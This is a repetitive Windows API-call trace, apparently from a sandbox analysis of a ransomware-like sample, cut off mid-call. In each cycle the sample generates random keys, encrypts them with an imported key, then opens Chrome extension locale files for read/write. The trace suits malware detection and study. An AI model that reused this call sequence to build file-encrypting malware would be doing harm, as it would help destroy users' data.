CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.352] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.352] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.352] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.352] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.354] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599e38) returned 1 [0234.354] CryptGetKeyParam (in: hKey=0x6599e38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.354] CryptEncrypt (in: hKey=0x6599e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8380000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8380000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.355] GetLastError () returned 0x0 [0234.355] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.355] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.357] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599df8) returned 1 [0234.357] CryptGetKeyParam (in: hKey=0x6599df8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.357] CryptEncrypt (in: hKey=0x6599df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8390000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8390000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.357] GetLastError () returned 0x0 [0234.357] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.357] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.358] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.360] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.362] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.362] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.362] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.362] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.364] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.365] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.366] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.366] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.366] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.368] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599d78) returned 1 [0234.368] CryptGetKeyParam (in: hKey=0x6599d78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.368] CryptEncrypt (in: hKey=0x6599d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x83a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x83a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.369] GetLastError () returned 0x0 [0234.369] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.369] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0234.370] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599af8) returned 1 [0234.371] CryptGetKeyParam (in: hKey=0x6599af8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.371] CryptEncrypt (in: hKey=0x6599af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x83b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x83b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.371] GetLastError () returned 0x0 [0234.371] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.371] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.372] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.374] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.376] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.376] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.376] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.376] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.378] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.379] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.379] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.379] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.380] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.382] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599d38) returned 1 [0234.382] CryptGetKeyParam (in: hKey=0x6599d38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.382] CryptEncrypt (in: hKey=0x6599d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x83c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x83c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.382] GetLastError () returned 0x0 [0234.382] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.382] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.384] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599db8) returned 1 [0234.384] CryptGetKeyParam (in: hKey=0x6599db8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.384] CryptEncrypt (in: hKey=0x6599db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x83d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x83d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.384] GetLastError () returned 0x0 [0234.385] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.385] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.385] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.389] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.389] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.389] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.389] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.391] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.392] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.392] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.392] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.392] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.395] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599ef8) returned 1 [0234.395] CryptGetKeyParam (in: hKey=0x6599ef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.395] CryptEncrypt (in: hKey=0x6599ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x83e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x83e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.395] GetLastError () returned 0x0 [0234.395] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.395] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.397] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599f38) returned 1 [0234.397] CryptGetKeyParam (in: hKey=0x6599f38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.397] CryptEncrypt (in: hKey=0x6599f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x83f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x83f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.397] GetLastError () returned 0x0 [0234.397] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.397] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.399] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.401] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.403] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.403] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.403] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.403] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.407] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.407] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.407] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0234.409] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599f78) returned 1 [0234.409] CryptGetKeyParam (in: hKey=0x6599f78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.409] CryptEncrypt (in: hKey=0x6599f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8400000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8400000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.409] GetLastError () returned 0x0 [0234.409] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.409] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.411] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599fb8) returned 1 [0234.411] CryptGetKeyParam (in: hKey=0x6599fb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.412] CryptEncrypt (in: hKey=0x6599fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8410000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8410000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.412] GetLastError () returned 0x0 [0234.412] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.412] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.413] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.416] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.416] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.416] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.417] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.420] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.420] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.420] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.420] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.422] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a838) returned 1 [0234.422] CryptGetKeyParam (in: hKey=0x659a838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.422] CryptEncrypt (in: hKey=0x659a838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8420000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8420000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.422] GetLastError () returned 0x0 [0234.422] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.423] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.425] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a0b8) returned 1 [0234.425] CryptGetKeyParam (in: hKey=0x659a0b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.425] CryptEncrypt (in: hKey=0x659a0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8430000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8430000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.425] GetLastError () returned 0x0 [0234.425] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.425] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.427] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.430] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.430] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.430] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.431] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.434] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.434] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.434] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.434] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.436] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a1b8) returned 1 [0234.436] CryptGetKeyParam (in: hKey=0x659a1b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.436] CryptEncrypt (in: hKey=0x659a1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8440000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8440000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.437] GetLastError () returned 0x0 [0234.437] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.437] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.438] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a7f8) returned 1 [0234.438] CryptGetKeyParam (in: hKey=0x659a7f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.438] CryptEncrypt (in: hKey=0x659a7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8450000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8450000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.439] GetLastError () returned 0x0 [0234.439] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.439] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.439] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.443] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.443] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.443] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.444] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.445] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.447] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.447] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.447] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.447] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.449] CryptImportKey (in: 